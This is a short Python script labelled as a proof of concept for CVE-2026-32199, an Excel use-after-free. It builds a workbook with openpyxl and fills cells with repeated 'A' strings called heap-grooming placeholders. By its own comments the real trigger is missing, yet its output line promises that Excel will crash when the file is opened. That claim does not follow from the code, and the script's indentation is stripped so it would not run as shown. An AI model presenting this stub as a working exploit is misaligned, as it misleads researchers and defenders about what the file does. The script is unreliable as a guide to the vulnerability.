The following code is for security research and authorized testing only.
python
import openpyxl
# Proof of Concept for CVE-2026-32199 (Conceptual)
# This script creates a malformed Excel file intended to trigger the Use After Free vulnerability.
# Note: Actual exploitation requires precise memory layout and heap grooming.
def create_poc_xlsx(filename):
wb = openpyxl.Workbook()
ws = wb.active
# 1. Basic setup
ws['A1'] = "CVE-2026-32199 PoC"
ws['A2'] = "Do not open in production environment"
# 2. Simulate the trigger condition
# In a real exploit, this would involve corrupting specific internal structures
# to cause the UAF when Excel attempts to parse the sheet or object.
# For example, manipulating the cell value table or drawing objects.
# Placeholder for the malicious structure that causes the UAF
malicious_data = "A" * 0x1000 # Heap grooming placeholder
# Writing data to specific cells to influence memory layout
for i in range(3, 100):
ws.cell(row=i, column=1, value=malicious_data)
try:
wb.save(filename)
print(f"[+] PoC file created: {filename}")
print("[+] Analysis: Open this file in a vulnerable version of Excel to observe the crash.")
except Exception as e:
print(f"[-] Error creating file: {e}")
if __name__ == "__main__":
create_poc_xlsx("CVE-2026-32199_PoC.xlsx")